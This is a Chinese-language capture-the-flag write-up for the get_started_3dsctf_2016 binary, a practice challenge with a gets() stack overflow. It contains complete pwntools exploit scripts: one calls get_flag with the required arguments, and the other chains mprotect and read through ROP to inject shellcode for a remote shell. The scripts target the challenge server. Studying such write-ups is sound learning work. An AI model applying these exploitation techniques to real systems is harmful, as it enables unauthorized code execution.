本来以为是一个简单的参数修改问题,但本地通了,远程出现了问题,看了其他师傅的wp学到了新的姿势
get_started_3dsctf_2016
题目很简单,就是get函数栈溢出,有一个get_flag函数,两个参数需要是确定值,正常情况很简单,但是远程不行。然后学到了mprotect函数利用的姿势
ida伪代码
main
int __cdecl main(int argc, const char **argv, const char **envp) { char v4; // [esp+4h] [ebp-38h] printf("Qual a palavrinha magica? ", v4); gets(&v4); return 0; }
get_flag
void __cdecl get_flag(int a1, int a2) { int v2; // eax int v3; // esi unsigned __int8 v4; // al int v5; // ecx unsigned __int8 v6; // al if ( a1 == 0x308CD64F && a2 == 0x195719D1 ) { v2 = fopen("flag.txt", "rt"); v3 = v2; v4 = getc(v2); if ( v4 != 0xFF ) { v5 = (char)v4; do { putchar(v5); v6 = getc(v3); v5 = (char)v6; } while ( v6 != 255 ); } fclose(v3); } }
正常exp
from pwn import * from LibcSearcher import * context.log_level="debug" #context (arch = "amd64",os = "linux") #context.terminal = ['gnome-terminal','-x','bash','-c'] choose = 1 if choose : p = remote("node3.buuoj.cn",28317) elf= ELF("./get_started_3dsctf_2016") #libc = ELF('libc-2.23.so',checksec=False) else: p = process('./get_started_3dsctf_2016') #p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"}) elf= ELF("./get_started_3dsctf_2016") #libc = ELF('libc-2.23.so',checksec=False) if __name__ == "__main__": flag = 0x080489A0 a1 = 0x308CD64F a2 = 0x195719D1 payload = 0x38 * "a" + p32(flag) + p32(0) + p32(a1) + p32(a2) 对应参数输入 p.sendline(payload) p.interactive()
远程这里看到大佬运用mprotect将可读写转为读写执行,然后用read写入shell,运行即可
mprotect函数
函数原型:int mprotect(void *addr, size_t len, int prot); //addr 内存启始地址 //len 修改内存的长度 //prot 内存的权限 函数作用:将以addr开始的内存 到 addr+len的内存的权限给设置为 prot (rwx)
远程exp
from pwn import * from LibcSearcher import * context.log_level="debug" #context (arch = "amd64",os = "linux") #context.terminal = ['gnome-terminal','-x','bash','-c'] choose = 1 if choose : p = remote("node3.buuoj.cn",28317) elf= ELF("./get_started_3dsctf_2016") #libc = ELF('libc-2.23.so',checksec=False) else: p = process('./get_started_3dsctf_2016') #p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"}) elf= ELF("./get_started_3dsctf_2016") #libc = ELF('libc-2.23.so',checksec=False) if __name__ == "__main__": mprote = elf.sym['mprotect'] #获取mprotect的地址 read_addr = elf.sym['read'] #获取read的地址 chan_addr_start = 0x080Ea000 #通过查看动态 cat proc/(pid)/maps 获取可写可执行区域 pop = 0x0804f460 #ROPgadget 得到pop三个寄存器的加ret的指令地址 len_addr = 0x1000 #长度大于shell小于可写区域就行 payload = 0x38*"a" + p32(mprote) + p32(pop) + p32(chan_addr_start) + p32(len_addr) + p32(7) #跳mprotect地址,传参,最后一个为7,看二进制位数,网上可查找,这里不做细致说明 payload += p32(read_addr) + p32(pop) + p32(0) + p32(chan_addr_start) + p32(len_addr) + p32(chan_addr_start) #read传参,同时之前写入的地址做返回地址 p.sendline(payload) payload2 = asm(shellcraft.sh(),arch = 'i386', os = 'linux') #直接生成shell去冲 p.sendline(payload2) p.interactive()
对内核进程查看的一个知识点有了学习,也学到了新的函数,但是留了一个小问题,chan_addr_start的地址我开始直接插的ida,给的地址是0x080ea0e7,但是用那个地址就失败了,后来尝试0x080ea001也不行,必须是最初基地址,这里还不太懂,等到时候问一下大佬解惑